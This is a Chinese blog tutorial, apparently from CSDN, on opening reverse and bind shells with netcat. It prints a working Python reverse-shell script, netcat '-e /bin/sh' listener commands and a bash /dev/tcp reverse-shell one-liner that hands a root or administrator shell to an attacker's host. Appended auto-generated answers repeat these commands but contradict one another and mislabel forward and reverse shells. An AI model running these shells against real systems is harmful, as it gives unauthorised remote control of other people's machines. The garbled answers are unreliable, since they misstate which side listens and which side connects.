使用netcat的正向 / 反向shell

  • reverse shell

  • bind shell

reverse shell描述图:

在此示例中,目标使用端口4444反向连接攻击主机。-e选项将Bash shell发回攻击主机。请注意,我们也可以在Windows的cmd.exe上使用-e选项。假设我们已经在目标主机上找到了远程代码执行(RCE)漏洞。我们可以在目标主机上使用-e发出Netcat命令,并使用Netcat发出命令启动反向shell。

先启动攻击端的监听:

再在目标端启动反向shell:

 linux

然后可以在攻击端控制目标端的服务器,以root权限;

win7

然后可以在攻击端控制目标端的win7系统,以administrator权限;

python的反向shell:

import os,socket,subprocess;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.aaa.21',8080))
#重定向shell输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#执行子程序
p=subprocess.call(['/bin/bash','-i'])

正向bind Shell

在该图中,目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令连接到此端口。设置bind shell的步骤如下:

使用Netcat将一个bash shell绑定到4444端口。 从攻击主机连接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。

root@kali:~# nc -lvp 4444 -e /bin/sh
listening on [any] 4444 ...
10.1.20.x: inverse host lookup failed: Unknown host
connect to [10.1.20.x] from (UNKNOWN) [10.1.20.x] 6065
root@kali:~# a

顺便提一下

如果有任何问题,你可以在这里找到我 ,软件测试交流qq群,209092584

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: nc正向shell反向shell都是利用nc命令进行远程控制的方式。 正向shell是指攻击者在受害者主机上开启一个监听端口,等待攻击者连接并执行命令。攻击者通过nc命令连接到受害者主机的监听端口,然后在受害者主机上执行命令,从而实现远程控制反向shell是指攻击者在自己的主机上开启一个监听端口,等待受害者连接并执行命令。攻击者通过nc命令连接到受害者主机的监听端口,然后在自己的主机上执行命令,从而实现远程控制。 两种方式的区别在于谁开启监听端口,正向shell是受害者开启监听端口,而反向shell是攻击者开启监听端口。 ### 回答2: NC(Netcat)是一种网络工具,它可以用来读取或发送数据。在网络中,我们经常需要使用一些工具进行网络调试或者代理,NC就是其中一种工具。 NC正向shell反向shell是NC的两个常见用法。正向shell是指用户在目标主机上执行命令,实现远程控制,而反向shell是指攻击者在自己的主机上执行命令,然后将输出发送到受害者主机上,实现远程访问。 NC正向shell的步骤如下:攻击者在自己的主机上监听一个指定的端口,然后等待受害者连接到该端口,一旦连接上,攻击者可以在命令行中执行命令,从而完成远程控制。常用的命令是nc -lvp 8888,其中-l为监听模式,-v为verbose模式,-p指定端口号。 NC反向shell的步骤如下:攻击者在自己的主机上执行命令,将输出转发到受害者主机上的指定端口,受害者主机监听该端口,并返回结果给攻击者,从而实现远程访问。常用的命令是nc -nv 192.168.1.10 8888 -e /bin/bash,其中-n表示不解析hostname,-v为verbose模式,-e指定需要执行的命令。 需要注意的是,NC正向shell反向shell都需要在目标主机上安装NC,所以这种方式可以被探测到。此外,这种方法也容易被防火墙或者IDS、IPS所检测到。因此,当使用这种方式时,需要谨慎考虑风险和安全措施。 ### 回答3: NC( Netcat )是一种将stdin / stdout通道连接到TCP / UDP网络上的工具。它被称为“网络多功能实用工具”,可以通过它创建和连接套接字,仅使用命令行。在黑客的世界里,Netcat 主要用于两种方式,NC 正向shell反向shell正向shell: NC 正向shell 是指将一个主动连接的shell推向另一台主机。这需要创建一个监听程序来等待另一台主机的连接,并在连接时启动shell。在这种情况下,漏洞利用者必须将监听程序推到受攻击机上,以使其等待连接。因此,正向shell只对内网攻击较为有效。 正向shell的实现步骤如下: 1.在攻击端启动监听程序,等待目标主机的连接: $ nc -lvp 4444 其中,-l 表示监听模式, -v 表示详细模式, -p 表示端口号。 2.在被攻击主机上,通过某种方式将目标机器的IP地址和监听程序的端口号传递到攻击者那里。攻击者将使用此信息来建立连接。 3.在受害者主机上执行以下命令以连接到攻击者: $ nc <attackers IP> 4444 -e /bin/bash 其中,-e 表示将建立的连接附加到bash shell。攻击者的IP地址和端口号应该和第二步中传递过来的一致。 反向shell反向shell则是创建一个shell连接,然后将其发送回攻击者的机器,这相当于一种“我打18,先打9”的情况,攻击者会将shell连接推向受攻击的机器。由于攻击者可以控制shell连接,反向shell对于外网和内网攻击都相当有效。 反向shell的实现步骤如下: 1.在攻击端启动监听程序,等待目标主机的连接: $ nc -lvp 4444 其中,-l 表示监听模式, -v 表示详细模式, -p 表示端口号。 2.在受攻击计算机上,执行以下命令(假设我们使用的是 bash shell): $ bash -i>&/dev/tcp/<attackers IP>/4444 0>&1 其中,-i 表示建立连接后使用交互模式,-& 表示将输出重定向到/dev/tcp 中, <attackers IP> 和端口号与第一步中启动的监听程序相同。 总的来说,NC 正向shell反向shell的概念十分简单,但却非常实用。请注意,这种技术只能在计算机彼此之间连接时使用,不要用于未授权的远程攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

软件测试技术

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值